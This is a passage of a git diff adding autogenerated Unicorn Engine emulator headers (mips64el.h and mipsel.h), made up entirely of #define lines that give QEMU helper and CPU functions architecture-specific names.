helper_float_truncw_s_mips64el +#define helper_float_ceill_d helper_float_ceill_d_mips64el +#define helper_float_ceill_s helper_float_ceill_s_mips64el +#define helper_float_ceilw_d helper_float_ceilw_d_mips64el +#define helper_float_ceilw_s helper_float_ceilw_s_mips64el +#define helper_float_floorl_d helper_float_floorl_d_mips64el +#define helper_float_floorl_s helper_float_floorl_s_mips64el +#define helper_float_floorw_d helper_float_floorw_d_mips64el +#define helper_float_floorw_s helper_float_floorw_s_mips64el +#define helper_float_abs_d helper_float_abs_d_mips64el +#define helper_float_abs_s helper_float_abs_s_mips64el +#define helper_float_abs_ps helper_float_abs_ps_mips64el +#define helper_float_chs_d helper_float_chs_d_mips64el +#define helper_float_chs_s helper_float_chs_s_mips64el +#define helper_float_chs_ps helper_float_chs_ps_mips64el +#define helper_float_maddf_s helper_float_maddf_s_mips64el +#define helper_float_maddf_d helper_float_maddf_d_mips64el +#define helper_float_msubf_s helper_float_msubf_s_mips64el +#define helper_float_msubf_d helper_float_msubf_d_mips64el +#define helper_float_max_s helper_float_max_s_mips64el +#define helper_float_max_d helper_float_max_d_mips64el +#define helper_float_maxa_s helper_float_maxa_s_mips64el +#define helper_float_maxa_d helper_float_maxa_d_mips64el +#define helper_float_min_s helper_float_min_s_mips64el +#define helper_float_min_d helper_float_min_d_mips64el +#define helper_float_mina_s helper_float_mina_s_mips64el +#define helper_float_mina_d helper_float_mina_d_mips64el +#define helper_float_rint_s helper_float_rint_s_mips64el +#define helper_float_rint_d helper_float_rint_d_mips64el +#define helper_float_class_s helper_float_class_s_mips64el +#define helper_float_class_d helper_float_class_d_mips64el +#define helper_float_recip_d helper_float_recip_d_mips64el +#define helper_float_recip_s helper_float_recip_s_mips64el +#define helper_float_rsqrt_d helper_float_rsqrt_d_mips64el +#define helper_float_rsqrt_s helper_float_rsqrt_s_mips64el +#define helper_float_recip1_d helper_float_recip1_d_mips64el +#define helper_float_recip1_s helper_float_recip1_s_mips64el +#define helper_float_recip1_ps helper_float_recip1_ps_mips64el +#define helper_float_rsqrt1_d helper_float_rsqrt1_d_mips64el +#define helper_float_rsqrt1_s helper_float_rsqrt1_s_mips64el +#define helper_float_rsqrt1_ps helper_float_rsqrt1_ps_mips64el +#define helper_float_add_d helper_float_add_d_mips64el +#define helper_float_add_s helper_float_add_s_mips64el +#define helper_float_add_ps helper_float_add_ps_mips64el +#define helper_float_sub_d helper_float_sub_d_mips64el +#define helper_float_sub_s helper_float_sub_s_mips64el +#define helper_float_sub_ps helper_float_sub_ps_mips64el +#define helper_float_mul_d helper_float_mul_d_mips64el +#define helper_float_mul_s helper_float_mul_s_mips64el +#define helper_float_mul_ps helper_float_mul_ps_mips64el +#define helper_float_div_d helper_float_div_d_mips64el +#define helper_float_div_s helper_float_div_s_mips64el +#define helper_float_div_ps helper_float_div_ps_mips64el +#define helper_float_madd_d helper_float_madd_d_mips64el +#define helper_float_madd_s helper_float_madd_s_mips64el +#define helper_float_madd_ps helper_float_madd_ps_mips64el +#define helper_float_msub_d helper_float_msub_d_mips64el +#define helper_float_msub_s helper_float_msub_s_mips64el +#define helper_float_msub_ps helper_float_msub_ps_mips64el +#define helper_float_nmadd_d helper_float_nmadd_d_mips64el +#define helper_float_nmadd_s helper_float_nmadd_s_mips64el +#define helper_float_nmadd_ps helper_float_nmadd_ps_mips64el +#define helper_float_nmsub_d helper_float_nmsub_d_mips64el +#define helper_float_nmsub_s helper_float_nmsub_s_mips64el +#define helper_float_nmsub_ps helper_float_nmsub_ps_mips64el +#define helper_float_recip2_d helper_float_recip2_d_mips64el +#define helper_float_recip2_s helper_float_recip2_s_mips64el +#define helper_float_recip2_ps helper_float_recip2_ps_mips64el +#define helper_float_rsqrt2_d helper_float_rsqrt2_d_mips64el +#define helper_float_rsqrt2_s helper_float_rsqrt2_s_mips64el +#define helper_float_rsqrt2_ps helper_float_rsqrt2_ps_mips64el +#define helper_float_addr_ps helper_float_addr_ps_mips64el +#define helper_float_mulr_ps helper_float_mulr_ps_mips64el +#define helper_cmp_d_f helper_cmp_d_f_mips64el +#define helper_cmpabs_d_f helper_cmpabs_d_f_mips64el +#define helper_cmp_d_un helper_cmp_d_un_mips64el +#define helper_cmpabs_d_un helper_cmpabs_d_un_mips64el +#define helper_cmp_d_eq helper_cmp_d_eq_mips64el +#define helper_cmpabs_d_eq helper_cmpabs_d_eq_mips64el +#define helper_cmp_d_ueq helper_cmp_d_ueq_mips64el +#define helper_cmpabs_d_ueq helper_cmpabs_d_ueq_mips64el +#define helper_cmp_d_olt helper_cmp_d_olt_mips64el +#define helper_cmpabs_d_olt helper_cmpabs_d_olt_mips64el +#define helper_cmp_d_ult helper_cmp_d_ult_mips64el +#define helper_cmpabs_d_ult helper_cmpabs_d_ult_mips64el +#define helper_cmp_d_ole helper_cmp_d_ole_mips64el +#define helper_cmpabs_d_ole helper_cmpabs_d_ole_mips64el +#define helper_cmp_d_ule helper_cmp_d_ule_mips64el +#define helper_cmpabs_d_ule helper_cmpabs_d_ule_mips64el +#define helper_cmp_d_sf helper_cmp_d_sf_mips64el +#define helper_cmpabs_d_sf helper_cmpabs_d_sf_mips64el +#define helper_cmp_d_ngle helper_cmp_d_ngle_mips64el +#define helper_cmpabs_d_ngle helper_cmpabs_d_ngle_mips64el +#define helper_cmp_d_seq helper_cmp_d_seq_mips64el +#define helper_cmpabs_d_seq helper_cmpabs_d_seq_mips64el +#define helper_cmp_d_ngl helper_cmp_d_ngl_mips64el +#define helper_cmpabs_d_ngl helper_cmpabs_d_ngl_mips64el +#define helper_cmp_d_lt helper_cmp_d_lt_mips64el +#define helper_cmpabs_d_lt helper_cmpabs_d_lt_mips64el +#define helper_cmp_d_nge helper_cmp_d_nge_mips64el +#define helper_cmpabs_d_nge helper_cmpabs_d_nge_mips64el +#define helper_cmp_d_le helper_cmp_d_le_mips64el +#define helper_cmpabs_d_le helper_cmpabs_d_le_mips64el +#define helper_cmp_d_ngt helper_cmp_d_ngt_mips64el +#define helper_cmpabs_d_ngt helper_cmpabs_d_ngt_mips64el +#define helper_cmp_s_f helper_cmp_s_f_mips64el +#define helper_cmpabs_s_f helper_cmpabs_s_f_mips64el +#define helper_cmp_s_un helper_cmp_s_un_mips64el +#define helper_cmpabs_s_un helper_cmpabs_s_un_mips64el +#define helper_cmp_s_eq helper_cmp_s_eq_mips64el +#define helper_cmpabs_s_eq helper_cmpabs_s_eq_mips64el +#define helper_cmp_s_ueq helper_cmp_s_ueq_mips64el +#define helper_cmpabs_s_ueq helper_cmpabs_s_ueq_mips64el +#define helper_cmp_s_olt helper_cmp_s_olt_mips64el +#define helper_cmpabs_s_olt helper_cmpabs_s_olt_mips64el +#define helper_cmp_s_ult helper_cmp_s_ult_mips64el +#define helper_cmpabs_s_ult helper_cmpabs_s_ult_mips64el +#define helper_cmp_s_ole helper_cmp_s_ole_mips64el +#define helper_cmpabs_s_ole helper_cmpabs_s_ole_mips64el +#define helper_cmp_s_ule helper_cmp_s_ule_mips64el +#define helper_cmpabs_s_ule helper_cmpabs_s_ule_mips64el +#define helper_cmp_s_sf helper_cmp_s_sf_mips64el +#define helper_cmpabs_s_sf helper_cmpabs_s_sf_mips64el +#define helper_cmp_s_ngle helper_cmp_s_ngle_mips64el +#define helper_cmpabs_s_ngle helper_cmpabs_s_ngle_mips64el +#define helper_cmp_s_seq helper_cmp_s_seq_mips64el +#define helper_cmpabs_s_seq helper_cmpabs_s_seq_mips64el +#define helper_cmp_s_ngl helper_cmp_s_ngl_mips64el +#define helper_cmpabs_s_ngl helper_cmpabs_s_ngl_mips64el +#define helper_cmp_s_lt helper_cmp_s_lt_mips64el +#define helper_cmpabs_s_lt helper_cmpabs_s_lt_mips64el +#define helper_cmp_s_nge helper_cmp_s_nge_mips64el +#define helper_cmpabs_s_nge helper_cmpabs_s_nge_mips64el +#define helper_cmp_s_le helper_cmp_s_le_mips64el +#define helper_cmpabs_s_le helper_cmpabs_s_le_mips64el +#define helper_cmp_s_ngt helper_cmp_s_ngt_mips64el +#define helper_cmpabs_s_ngt helper_cmpabs_s_ngt_mips64el +#define helper_cmp_ps_f helper_cmp_ps_f_mips64el +#define helper_cmpabs_ps_f helper_cmpabs_ps_f_mips64el +#define helper_cmp_ps_un helper_cmp_ps_un_mips64el +#define helper_cmpabs_ps_un helper_cmpabs_ps_un_mips64el +#define helper_cmp_ps_eq helper_cmp_ps_eq_mips64el +#define helper_cmpabs_ps_eq helper_cmpabs_ps_eq_mips64el +#define helper_cmp_ps_ueq helper_cmp_ps_ueq_mips64el +#define helper_cmpabs_ps_ueq helper_cmpabs_ps_ueq_mips64el +#define helper_cmp_ps_olt helper_cmp_ps_olt_mips64el +#define helper_cmpabs_ps_olt helper_cmpabs_ps_olt_mips64el +#define helper_cmp_ps_ult helper_cmp_ps_ult_mips64el +#define helper_cmpabs_ps_ult helper_cmpabs_ps_ult_mips64el +#define helper_cmp_ps_ole helper_cmp_ps_ole_mips64el +#define helper_cmpabs_ps_ole helper_cmpabs_ps_ole_mips64el +#define helper_cmp_ps_ule helper_cmp_ps_ule_mips64el +#define helper_cmpabs_ps_ule helper_cmpabs_ps_ule_mips64el +#define helper_cmp_ps_sf helper_cmp_ps_sf_mips64el +#define helper_cmpabs_ps_sf helper_cmpabs_ps_sf_mips64el +#define helper_cmp_ps_ngle helper_cmp_ps_ngle_mips64el +#define helper_cmpabs_ps_ngle helper_cmpabs_ps_ngle_mips64el +#define helper_cmp_ps_seq helper_cmp_ps_seq_mips64el +#define helper_cmpabs_ps_seq helper_cmpabs_ps_seq_mips64el +#define helper_cmp_ps_ngl helper_cmp_ps_ngl_mips64el +#define helper_cmpabs_ps_ngl helper_cmpabs_ps_ngl_mips64el +#define helper_cmp_ps_lt helper_cmp_ps_lt_mips64el +#define helper_cmpabs_ps_lt helper_cmpabs_ps_lt_mips64el +#define helper_cmp_ps_nge helper_cmp_ps_nge_mips64el +#define helper_cmpabs_ps_nge helper_cmpabs_ps_nge_mips64el +#define helper_cmp_ps_le helper_cmp_ps_le_mips64el +#define helper_cmpabs_ps_le helper_cmpabs_ps_le_mips64el +#define helper_cmp_ps_ngt helper_cmp_ps_ngt_mips64el +#define helper_cmpabs_ps_ngt helper_cmpabs_ps_ngt_mips64el +#define helper_r6_cmp_d_af helper_r6_cmp_d_af_mips64el +#define helper_r6_cmp_d_un helper_r6_cmp_d_un_mips64el +#define helper_r6_cmp_d_eq helper_r6_cmp_d_eq_mips64el +#define helper_r6_cmp_d_ueq helper_r6_cmp_d_ueq_mips64el +#define helper_r6_cmp_d_lt helper_r6_cmp_d_lt_mips64el +#define helper_r6_cmp_d_ult helper_r6_cmp_d_ult_mips64el +#define helper_r6_cmp_d_le helper_r6_cmp_d_le_mips64el +#define helper_r6_cmp_d_ule helper_r6_cmp_d_ule_mips64el +#define helper_r6_cmp_d_saf helper_r6_cmp_d_saf_mips64el +#define helper_r6_cmp_d_sun helper_r6_cmp_d_sun_mips64el +#define helper_r6_cmp_d_seq helper_r6_cmp_d_seq_mips64el +#define helper_r6_cmp_d_sueq helper_r6_cmp_d_sueq_mips64el +#define helper_r6_cmp_d_slt helper_r6_cmp_d_slt_mips64el +#define helper_r6_cmp_d_sult helper_r6_cmp_d_sult_mips64el +#define helper_r6_cmp_d_sle helper_r6_cmp_d_sle_mips64el +#define helper_r6_cmp_d_sule helper_r6_cmp_d_sule_mips64el +#define helper_r6_cmp_d_or helper_r6_cmp_d_or_mips64el +#define helper_r6_cmp_d_une helper_r6_cmp_d_une_mips64el +#define helper_r6_cmp_d_ne helper_r6_cmp_d_ne_mips64el +#define helper_r6_cmp_d_sor helper_r6_cmp_d_sor_mips64el +#define helper_r6_cmp_d_sune helper_r6_cmp_d_sune_mips64el +#define helper_r6_cmp_d_sne helper_r6_cmp_d_sne_mips64el +#define helper_r6_cmp_s_af helper_r6_cmp_s_af_mips64el +#define helper_r6_cmp_s_un helper_r6_cmp_s_un_mips64el +#define helper_r6_cmp_s_eq helper_r6_cmp_s_eq_mips64el +#define helper_r6_cmp_s_ueq helper_r6_cmp_s_ueq_mips64el +#define helper_r6_cmp_s_lt helper_r6_cmp_s_lt_mips64el +#define helper_r6_cmp_s_ult helper_r6_cmp_s_ult_mips64el +#define helper_r6_cmp_s_le helper_r6_cmp_s_le_mips64el +#define helper_r6_cmp_s_ule helper_r6_cmp_s_ule_mips64el +#define helper_r6_cmp_s_saf helper_r6_cmp_s_saf_mips64el +#define helper_r6_cmp_s_sun helper_r6_cmp_s_sun_mips64el +#define helper_r6_cmp_s_seq helper_r6_cmp_s_seq_mips64el +#define helper_r6_cmp_s_sueq helper_r6_cmp_s_sueq_mips64el +#define helper_r6_cmp_s_slt helper_r6_cmp_s_slt_mips64el +#define helper_r6_cmp_s_sult helper_r6_cmp_s_sult_mips64el +#define helper_r6_cmp_s_sle helper_r6_cmp_s_sle_mips64el +#define helper_r6_cmp_s_sule helper_r6_cmp_s_sule_mips64el +#define helper_r6_cmp_s_or helper_r6_cmp_s_or_mips64el +#define helper_r6_cmp_s_une helper_r6_cmp_s_une_mips64el +#define helper_r6_cmp_s_ne helper_r6_cmp_s_ne_mips64el +#define helper_r6_cmp_s_sor helper_r6_cmp_s_sor_mips64el +#define helper_r6_cmp_s_sune helper_r6_cmp_s_sune_mips64el +#define helper_r6_cmp_s_sne helper_r6_cmp_s_sne_mips64el +#define helper_msa_ld_df helper_msa_ld_df_mips64el +#define helper_msa_st_df helper_msa_st_df_mips64el +#define no_mmu_map_address no_mmu_map_address_mips64el +#define fixed_mmu_map_address fixed_mmu_map_address_mips64el +#define r4k_map_address r4k_map_address_mips64el +#define mips_cpu_get_phys_page_debug mips_cpu_get_phys_page_debug_mips64el +#define mips_cpu_handle_mmu_fault mips_cpu_handle_mmu_fault_mips64el +#define cpu_mips_translate_address cpu_mips_translate_address_mips64el +#define exception_resume_pc exception_resume_pc_mips64el +#define mips_cpu_do_interrupt mips_cpu_do_interrupt_mips64el +#define mips_cpu_exec_interrupt mips_cpu_exec_interrupt_mips64el +#define r4k_invalidate_tlb r4k_invalidate_tlb_mips64el +#define helper_absq_s_ob helper_absq_s_ob_mips64el +#define helper_absq_s_qh helper_absq_s_qh_mips64el +#define helper_absq_s_pw helper_absq_s_pw_mips64el +#define helper_adduh_ob helper_adduh_ob_mips64el +#define helper_adduh_r_ob helper_adduh_r_ob_mips64el +#define helper_subuh_ob helper_subuh_ob_mips64el +#define helper_subuh_r_ob helper_subuh_r_ob_mips64el +#define helper_addq_pw helper_addq_pw_mips64el +#define helper_addq_qh helper_addq_qh_mips64el +#define helper_addq_s_pw helper_addq_s_pw_mips64el +#define helper_addq_s_qh helper_addq_s_qh_mips64el +#define helper_addu_ob helper_addu_ob_mips64el +#define helper_addu_qh helper_addu_qh_mips64el +#define helper_addu_s_ob helper_addu_s_ob_mips64el +#define helper_addu_s_qh helper_addu_s_qh_mips64el +#define helper_subq_pw helper_subq_pw_mips64el +#define helper_subq_qh helper_subq_qh_mips64el +#define helper_subq_s_pw helper_subq_s_pw_mips64el +#define helper_subq_s_qh helper_subq_s_qh_mips64el +#define helper_subu_ob helper_subu_ob_mips64el +#define helper_subu_qh helper_subu_qh_mips64el +#define helper_subu_s_ob helper_subu_s_ob_mips64el +#define helper_subu_s_qh helper_subu_s_qh_mips64el +#define helper_raddu_l_ob helper_raddu_l_ob_mips64el +#define helper_precr_ob_qh helper_precr_ob_qh_mips64el +#define helper_precr_sra_qh_pw helper_precr_sra_qh_pw_mips64el +#define helper_precr_sra_r_qh_pw helper_precr_sra_r_qh_pw_mips64el +#define helper_precrq_ob_qh helper_precrq_ob_qh_mips64el +#define helper_precrq_qh_pw helper_precrq_qh_pw_mips64el +#define helper_precrq_rs_qh_pw helper_precrq_rs_qh_pw_mips64el +#define helper_precrq_pw_l helper_precrq_pw_l_mips64el +#define helper_precrqu_s_ob_qh helper_precrqu_s_ob_qh_mips64el +#define helper_preceq_pw_qhl helper_preceq_pw_qhl_mips64el +#define helper_preceq_pw_qhr helper_preceq_pw_qhr_mips64el +#define helper_preceq_pw_qhla helper_preceq_pw_qhla_mips64el +#define helper_preceq_pw_qhra helper_preceq_pw_qhra_mips64el +#define helper_precequ_qh_obl helper_precequ_qh_obl_mips64el +#define helper_precequ_qh_obr helper_precequ_qh_obr_mips64el +#define helper_precequ_qh_obla helper_precequ_qh_obla_mips64el +#define helper_precequ_qh_obra helper_precequ_qh_obra_mips64el +#define helper_preceu_qh_obl helper_preceu_qh_obl_mips64el +#define helper_preceu_qh_obr helper_preceu_qh_obr_mips64el +#define helper_preceu_qh_obla helper_preceu_qh_obla_mips64el +#define helper_preceu_qh_obra helper_preceu_qh_obra_mips64el +#define helper_shll_ob helper_shll_ob_mips64el +#define helper_shrl_ob helper_shrl_ob_mips64el +#define helper_shra_ob helper_shra_ob_mips64el +#define helper_shra_r_ob helper_shra_r_ob_mips64el +#define helper_shll_qh helper_shll_qh_mips64el +#define helper_shll_s_qh helper_shll_s_qh_mips64el +#define helper_shrl_qh helper_shrl_qh_mips64el +#define helper_shra_qh helper_shra_qh_mips64el +#define helper_shra_r_qh helper_shra_r_qh_mips64el +#define helper_shll_pw helper_shll_pw_mips64el +#define helper_shll_s_pw helper_shll_s_pw_mips64el +#define helper_shra_pw helper_shra_pw_mips64el +#define helper_shra_r_pw helper_shra_r_pw_mips64el +#define helper_muleu_s_qh_obl helper_muleu_s_qh_obl_mips64el +#define helper_muleu_s_qh_obr helper_muleu_s_qh_obr_mips64el +#define helper_mulq_rs_qh helper_mulq_rs_qh_mips64el +#define helper_muleq_s_pw_qhl helper_muleq_s_pw_qhl_mips64el +#define helper_muleq_s_pw_qhr helper_muleq_s_pw_qhr_mips64el +#define helper_mulsaq_s_w_qh helper_mulsaq_s_w_qh_mips64el +#define helper_dpau_h_obl helper_dpau_h_obl_mips64el +#define helper_dpau_h_obr helper_dpau_h_obr_mips64el +#define helper_dpsu_h_obl helper_dpsu_h_obl_mips64el +#define helper_dpsu_h_obr helper_dpsu_h_obr_mips64el +#define helper_dpa_w_qh helper_dpa_w_qh_mips64el +#define helper_dpaq_s_w_qh helper_dpaq_s_w_qh_mips64el +#define helper_dps_w_qh helper_dps_w_qh_mips64el +#define helper_dpsq_s_w_qh helper_dpsq_s_w_qh_mips64el +#define helper_dpaq_sa_l_pw helper_dpaq_sa_l_pw_mips64el +#define helper_dpsq_sa_l_pw helper_dpsq_sa_l_pw_mips64el +#define helper_mulsaq_s_l_pw helper_mulsaq_s_l_pw_mips64el +#define helper_maq_s_w_qhll helper_maq_s_w_qhll_mips64el +#define helper_maq_s_w_qhlr helper_maq_s_w_qhlr_mips64el +#define helper_maq_s_w_qhrl helper_maq_s_w_qhrl_mips64el +#define helper_maq_s_w_qhrr helper_maq_s_w_qhrr_mips64el +#define helper_maq_sa_w_qhll helper_maq_sa_w_qhll_mips64el +#define helper_maq_sa_w_qhlr helper_maq_sa_w_qhlr_mips64el +#define helper_maq_sa_w_qhrl helper_maq_sa_w_qhrl_mips64el +#define helper_maq_sa_w_qhrr helper_maq_sa_w_qhrr_mips64el +#define helper_maq_s_l_pwl helper_maq_s_l_pwl_mips64el +#define helper_maq_s_l_pwr helper_maq_s_l_pwr_mips64el +#define helper_dmadd helper_dmadd_mips64el +#define helper_dmaddu helper_dmaddu_mips64el +#define helper_dmsub helper_dmsub_mips64el +#define helper_dmsubu helper_dmsubu_mips64el +#define helper_dinsv helper_dinsv_mips64el +#define helper_cmpgu_eq_ob helper_cmpgu_eq_ob_mips64el +#define helper_cmpgu_lt_ob helper_cmpgu_lt_ob_mips64el +#define helper_cmpgu_le_ob helper_cmpgu_le_ob_mips64el +#define helper_cmpu_eq_ob helper_cmpu_eq_ob_mips64el +#define helper_cmpu_lt_ob helper_cmpu_lt_ob_mips64el +#define helper_cmpu_le_ob helper_cmpu_le_ob_mips64el +#define helper_cmp_eq_qh helper_cmp_eq_qh_mips64el +#define helper_cmp_lt_qh helper_cmp_lt_qh_mips64el +#define helper_cmp_le_qh helper_cmp_le_qh_mips64el +#define helper_cmp_eq_pw helper_cmp_eq_pw_mips64el +#define helper_cmp_lt_pw helper_cmp_lt_pw_mips64el +#define helper_cmp_le_pw helper_cmp_le_pw_mips64el +#define helper_cmpgdu_eq_ob helper_cmpgdu_eq_ob_mips64el +#define helper_cmpgdu_lt_ob helper_cmpgdu_lt_ob_mips64el +#define helper_cmpgdu_le_ob helper_cmpgdu_le_ob_mips64el +#define helper_pick_ob helper_pick_ob_mips64el +#define helper_pick_qh helper_pick_qh_mips64el +#define helper_pick_pw helper_pick_pw_mips64el +#define helper_packrl_pw helper_packrl_pw_mips64el +#define helper_dextr_w helper_dextr_w_mips64el +#define helper_dextr_r_w helper_dextr_r_w_mips64el +#define helper_dextr_rs_w helper_dextr_rs_w_mips64el +#define helper_dextr_l helper_dextr_l_mips64el +#define helper_dextr_r_l helper_dextr_r_l_mips64el +#define helper_dextr_rs_l helper_dextr_rs_l_mips64el +#define helper_dextr_s_h helper_dextr_s_h_mips64el +#define helper_dextp helper_dextp_mips64el +#define helper_dextpdp helper_dextpdp_mips64el +#define helper_dshilo helper_dshilo_mips64el +#define helper_dmthlip helper_dmthlip_mips64el +#define helper_dclo helper_dclo_mips64el +#define helper_dclz helper_dclz_mips64el +#define helper_dbitswap helper_dbitswap_mips64el +#define helper_lld helper_lld_mips64el +#define helper_scd helper_scd_mips64el +#define helper_sdl helper_sdl_mips64el +#define helper_sdr helper_sdr_mips64el +#define helper_ldm helper_ldm_mips64el +#define helper_sdm helper_sdm_mips64el +#define helper_dmfc0_tcrestart helper_dmfc0_tcrestart_mips64el +#define helper_dmfc0_tchalt helper_dmfc0_tchalt_mips64el +#define helper_dmfc0_tccontext helper_dmfc0_tccontext_mips64el +#define helper_dmfc0_tcschedule helper_dmfc0_tcschedule_mips64el +#define helper_dmfc0_tcschefback helper_dmfc0_tcschefback_mips64el +#define helper_dmfc0_lladdr helper_dmfc0_lladdr_mips64el +#define helper_dmfc0_watchlo helper_dmfc0_watchlo_mips64el +#define helper_dmtc0_entrylo0 helper_dmtc0_entrylo0_mips64el +#define helper_dmtc0_entrylo1 helper_dmtc0_entrylo1_mips64el +#define mips_reg_reset mips_reg_reset_mips64el +#define mips_reg_read mips_reg_read_mips64el +#define mips_reg_write mips_reg_write_mips64el +#define mips_tcg_init mips_tcg_init_mips64el +#define mips_cpu_list mips_cpu_list_mips64el +#define mips_release mips_release_mips64el +#define MIPS64_REGS_STORAGE_SIZE MIPS64_REGS_STORAGE_SIZE_mips64el +#define MIPS_REGS_STORAGE_SIZE MIPS_REGS_STORAGE_SIZE_mips64el +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/mipsel.h b/ai_anti_malware/unicorn/unicorn-master/qemu/mipsel.h new file mode 100644 index 0000000..a04123e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/mipsel.h @@ -0,0 +1,3928 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_MIPSEL_H +#define UNICORN_AUTOGEN_MIPSEL_H +#define arm_release arm_release_mipsel +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_mipsel +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_mipsel +#define use_idiv_instructions_rt use_idiv_instructions_rt_mipsel +#define tcg_target_deposit_valid tcg_target_deposit_valid_mipsel +#define helper_power_down helper_power_down_mipsel +#define check_exit_request check_exit_request_mipsel +#define address_space_unregister address_space_unregister_mipsel +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_mipsel +#define phys_mem_clean phys_mem_clean_mipsel +#define tb_cleanup tb_cleanup_mipsel +#define memory_map memory_map_mipsel +#define memory_map_ptr memory_map_ptr_mipsel +#define memory_unmap memory_unmap_mipsel +#define memory_free memory_free_mipsel +#define free_code_gen_buffer free_code_gen_buffer_mipsel +#define helper_raise_exception helper_raise_exception_mipsel +#define tcg_enabled tcg_enabled_mipsel +#define tcg_exec_init tcg_exec_init_mipsel +#define memory_register_types memory_register_types_mipsel +#define cpu_exec_init_all cpu_exec_init_all_mipsel +#define vm_start vm_start_mipsel +#define resume_all_vcpus resume_all_vcpus_mipsel +#define a15_l2ctlr_read a15_l2ctlr_read_mipsel +#define a64_translate_init a64_translate_init_mipsel +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_mipsel +#define aa64_cacheop_access aa64_cacheop_access_mipsel +#define aa64_daif_access aa64_daif_access_mipsel +#define aa64_daif_write aa64_daif_write_mipsel +#define aa64_dczid_read aa64_dczid_read_mipsel +#define aa64_fpcr_read aa64_fpcr_read_mipsel +#define aa64_fpcr_write aa64_fpcr_write_mipsel +#define aa64_fpsr_read aa64_fpsr_read_mipsel +#define aa64_fpsr_write aa64_fpsr_write_mipsel +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_mipsel +#define aa64_zva_access aa64_zva_access_mipsel +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_mipsel +#define aarch64_restore_sp aarch64_restore_sp_mipsel +#define aarch64_save_sp aarch64_save_sp_mipsel +#define accel_find accel_find_mipsel +#define accel_init_machine accel_init_machine_mipsel +#define accel_type accel_type_mipsel +#define access_with_adjusted_size access_with_adjusted_size_mipsel +#define add128 add128_mipsel +#define add16_sat add16_sat_mipsel +#define add16_usat add16_usat_mipsel +#define add192 add192_mipsel +#define add8_sat add8_sat_mipsel +#define add8_usat add8_usat_mipsel +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_mipsel +#define add_cpreg_to_list add_cpreg_to_list_mipsel +#define addFloat128Sigs addFloat128Sigs_mipsel +#define addFloat32Sigs addFloat32Sigs_mipsel +#define addFloat64Sigs addFloat64Sigs_mipsel +#define addFloatx80Sigs addFloatx80Sigs_mipsel +#define add_qemu_ldst_label add_qemu_ldst_label_mipsel +#define address_space_access_valid address_space_access_valid_mipsel +#define address_space_destroy address_space_destroy_mipsel +#define address_space_destroy_dispatch address_space_destroy_dispatch_mipsel +#define address_space_get_flatview address_space_get_flatview_mipsel +#define address_space_init address_space_init_mipsel +#define address_space_init_dispatch address_space_init_dispatch_mipsel +#define address_space_lookup_region address_space_lookup_region_mipsel +#define address_space_map address_space_map_mipsel +#define address_space_read address_space_read_mipsel +#define address_space_rw address_space_rw_mipsel +#define address_space_translate address_space_translate_mipsel +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_mipsel +#define address_space_translate_internal address_space_translate_internal_mipsel +#define address_space_unmap address_space_unmap_mipsel +#define address_space_update_topology address_space_update_topology_mipsel +#define address_space_update_topology_pass address_space_update_topology_pass_mipsel +#define address_space_write address_space_write_mipsel +#define addrrange_contains addrrange_contains_mipsel +#define addrrange_end addrrange_end_mipsel +#define addrrange_equal addrrange_equal_mipsel +#define addrrange_intersection addrrange_intersection_mipsel +#define addrrange_intersects addrrange_intersects_mipsel +#define addrrange_make addrrange_make_mipsel +#define adjust_endianness adjust_endianness_mipsel +#define all_helpers all_helpers_mipsel +#define alloc_code_gen_buffer alloc_code_gen_buffer_mipsel +#define alloc_entry alloc_entry_mipsel +#define always_true always_true_mipsel +#define arm1026_initfn arm1026_initfn_mipsel +#define arm1136_initfn arm1136_initfn_mipsel +#define arm1136_r2_initfn arm1136_r2_initfn_mipsel +#define arm1176_initfn arm1176_initfn_mipsel +#define arm11mpcore_initfn arm11mpcore_initfn_mipsel +#define arm926_initfn arm926_initfn_mipsel +#define arm946_initfn arm946_initfn_mipsel +#define arm_ccnt_enabled arm_ccnt_enabled_mipsel +#define arm_cp_read_zero arm_cp_read_zero_mipsel +#define arm_cp_reset_ignore arm_cp_reset_ignore_mipsel +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_mipsel +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_mipsel +#define arm_cpu_finalizefn arm_cpu_finalizefn_mipsel +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_mipsel +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_mipsel +#define arm_cpu_initfn arm_cpu_initfn_mipsel +#define arm_cpu_list arm_cpu_list_mipsel +#define cpu_loop_exit cpu_loop_exit_mipsel +#define arm_cpu_post_init arm_cpu_post_init_mipsel +#define arm_cpu_realizefn arm_cpu_realizefn_mipsel +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_mipsel +#define arm_cpu_register_types arm_cpu_register_types_mipsel +#define cpu_resume_from_signal cpu_resume_from_signal_mipsel +#define arm_cpus arm_cpus_mipsel +#define arm_cpu_set_pc arm_cpu_set_pc_mipsel +#define arm_cp_write_ignore arm_cp_write_ignore_mipsel +#define arm_current_el arm_current_el_mipsel +#define arm_dc_feature arm_dc_feature_mipsel +#define arm_debug_excp_handler arm_debug_excp_handler_mipsel +#define arm_debug_target_el arm_debug_target_el_mipsel +#define arm_el_is_aa64 arm_el_is_aa64_mipsel +#define arm_env_get_cpu arm_env_get_cpu_mipsel +#define arm_excp_target_el arm_excp_target_el_mipsel +#define arm_excp_unmasked arm_excp_unmasked_mipsel +#define arm_feature arm_feature_mipsel +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_mipsel +#define gen_intermediate_code gen_intermediate_code_mipsel +#define gen_intermediate_code_pc gen_intermediate_code_pc_mipsel +#define arm_gen_test_cc arm_gen_test_cc_mipsel +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_mipsel +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_mipsel +#define arm_handle_psci_call arm_handle_psci_call_mipsel +#define arm_is_psci_call arm_is_psci_call_mipsel +#define arm_is_secure arm_is_secure_mipsel +#define arm_is_secure_below_el3 arm_is_secure_below_el3_mipsel +#define 